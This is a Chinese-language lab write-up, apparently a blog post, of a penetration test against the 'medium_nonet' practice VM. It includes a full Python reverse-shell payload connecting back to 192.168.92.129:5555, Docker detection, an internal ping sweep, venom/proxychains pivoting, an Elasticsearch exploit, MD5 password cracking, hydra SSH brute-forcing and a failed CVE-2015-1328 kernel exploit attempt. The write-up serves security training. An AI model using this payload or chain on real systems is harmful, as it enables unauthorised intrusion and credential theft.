medium_nonet-wp

首先确定靶机IP地址,跟攻击机处于同一网段

e6c5c4779e6f42a8a9dc31ae33fada20.png

dcbc0f0091c04377bc670f56f1169096.png

确定好靶机的IP地址使用nmap工具扫描靶机所开放的端口信息(后面靶机的IP变成了140)

13376a6bfc9344c2838de9b8aec669ee.png

开放了22和5000端口信息以及操作系统的版本信息

访问5000端口得到一个web页面

e2c912a6110747f79ebbd17b5000f769.png

输入1说明长度不够长

2d29c3a3130b483a8b912a206e699796.png

再接着测试123456789,明显就是执行了

165d564d20194fffac006dcdfdfdddff.png

对5000端口进行目录扫描

6c1202693353412cb574bd987776eb00.png

访问admin得到一个可以执行python代码的输入框,别问怎么知道是python,再nmap扫描的时候扫出来的

dfa6b4632078456a88d3dbbf1e985041.png

通过python写的脚本进行反弹shell

Import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("192.168.92.129",5555));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);

靶机先进行监听

b32ff3c67b6d44f59da9d8e08da31148.png

再将那一段代码复制到那个代码块执行

695a60eade924dc0bce7181583dfe382.png

成功反弹拿到shell

进行目录查看以及IP地址查看发现有docker以及IP地址与原本靶机的IP不一致怀疑存在docker环境或者是蜜罐

1225ada339ba40b9a3df5f37fecd1589.png

进行是否为docker测试两种方法:

  1. 判断根目录下.dockerenv文件
    1. docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的
  2. 查询系统进行的cgroup信息
    1. docker 环境下:cat /proc/1/cgroup

使用第二种方式而得到

d55bd6f22b4d4bb5a07bc7298d1d8c34.png

如果有如上图所示的结果显示,那么说明当前环境为docker环境而不是目标靶机的真实服务器环境,当我们遇到这种情况的时候,我们需要从docker环境中逃逸出来,才能对真正的目标服务器开展进一步的操作。此时我们需要把docker环境当作服务器的内网环境来处理。

因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长,所以我们使用一个循环代码进行探测:

For I in $(seq 1 254);do ping -c 1 172.17.0.$i;done

得到了内网存活三台主机

e2f547ebfa524a6cae04305931944601.png

因为要对内网的主机进行一些操作,所以我们使用venom进行内网穿透,也就是打通kali到内网机器的路由,才能使用kali对这些内网机器进行相关操作

Kali的版本是x64位,那么在venom的目录下使用admin_linux_x64设置监听端口9999

d8c419d106ee4b4684fe25734f7a7ff9.png

需要将agent_linux_x64下载到靶机中进行kali连接靶机所以使用python开启http服务

a7f94d509754473d8451d0bfa84a6076.png

在靶机进行下载

6c1154d3b83a410a8a3a8645f056f7e1.png

在靶机中运行这个服务,要注意给这个服务加执行权限否则会运行失败

8d21619964a343118a89cd9779ffa199.png

成功运行

77b10f79cdef4757a8288aeaf3d0e93f.png

使用show命令查找节点然后使用goto去连接这个节点

9a1238e451504db1bcd2ec279ca91a1a.png

启动socks监听   socks 1000

使用proxychains4工具设置代理,访问靶机的内网

修改/etc/proxychains4.conf文件

vim /etc/proxychains4.conf   修改为sock5 127.0.0.1 1000(venom开启的socks监听)

SOCKS4只支持TCP应用,而SOCKS5支持TCP和UDP应用

d1b0f5af57b449a695f03cd27cb295e0.png

使用kali的工具通过代理服务器去探测靶机内网的信息

对172.17.0.1进行端口和服务版本的探测

cc7ef3bfdf5842a7b24d2ccb4acc1782.png

c6b43940565c41b18d1e35dc100696f9.png

得知就是这个内网的IP开启的端口以及服务是一致的

接着探测172.17.0.2,开启了9200端口elasticsearch服务

 

b63b1ecd1b7c4289ad2662f647553ddf.png

通过代理访问这个服务得到了版本信息

a519066e2e474569bcc8ed4e9c908be0.png

探测172.17.0.3发现只开启了5000端口跟之前的5000端口一致

0e0c5be8677c4437ba7b40379c2b6f29.png

所以接下来的重心就在172.17.0.2上

因为他开启了elastisearch服务,了解一下这个就是一个开源的高扩展的分布式全文检索引擎,它可以近乎实时的存储、检索数据。

猜测这个服务存在漏洞,查看是否有漏洞和可以利用的脚本文件

4769568ea06a4381bd92620c4d20245f.png

尝试将第一个复制到当前的路径下

f90dae4af5084bf287663c44da45a240.png

看一下代码需要使用python2环境

386631295b4a4a4c8fdc377515cb8025.png

拿下172.17.0.2shell

d63f64b51c454ad1b5de7c7f70f7af33.png

直接whoami查看当前用户以及列出当前的目录

711e837cfcfc41efaa22f038cde0f700.png

查看passwords,得到账密,把账密都分别任保存到两个文件中

905536af7a2445748efb3682d1354c15.png

对密码进行解密,网上工具直接md5解密保存到一个文件,方便后续进行ssh爆破

通过hydra工具,得到可以登录的账密

375c5c565d4445d980dd8df6517f5596.png

直接ssh登录

3557152a21be4801b25d3c1f5f32d218.png

无sudo权限也没有定时任务,用find查找带有s权限的也没有

f070557c04a64b1292f3684f83434eb6.png

可以查看一下内核版本信息,看是否存在内核提权的可能

d491ab0dd16e4068b234a9799c46d490.png

发现内核版本过低,存在可能

通过searchsploit版本查找适用的exp

bf2e860591884414abf6774e8191d101.png

存在可以利用的脚本,将37292.c复制到本地

01a45a5fa6214fb5bd3f17b2766d97a1.png

进行gcc编译

f44a386322754931bb50a0c41a7f4fe3.png

开启python http服务,将编译后的文件传入到靶机中

漏洞查看一下,发现其中存在依赖 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 我们需要去除依赖gcc部分因为目标上没有 gcc。

如果没有这个依赖文件则会报错

在本地编译 gcc -o exp 37292.c 并将 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 与 编译后的 exp 一起发送到目标,可以使用 ssh 发送或 Python HTTP 服务结合 wget 发送。

def300cbace4405eb117e3b8447c4418.png

给两个文件都增加权限一般我都是直接777

4b06779046bd4a15877e819c042a9fbf.png

Oh报错了,如果出现下面错误,是kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6 动态库高于靶机的

61a3585e4b5d4d4492abea2f934d5067.png

解决方法是在靶机中使用 ldd --version 命令确定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然后去相关官网搜索 2.19-0ubuntu6 下载其对应版本的库文件,此靶机适用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb 下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6 确认其存在,编译 C 时使用 gcc 参数 -Ldir 指定上面的 libc.so.6 的路径,解决的编译命令: gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6

 

Emm内核提权没成功就酱

 

总结:

  1. Python脚本反弹shell的写法
  2. 如何判断是不是蜜罐或者是docker--docker逃逸
  3. 内网穿透使用的工具venom
  4. 使用代理proxychains4用来代理kali与内网的连接
  5. Hydra工具爆破ssh
  6. 当发现没有可以提权的方式可以查看内核版本通过内核提权

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值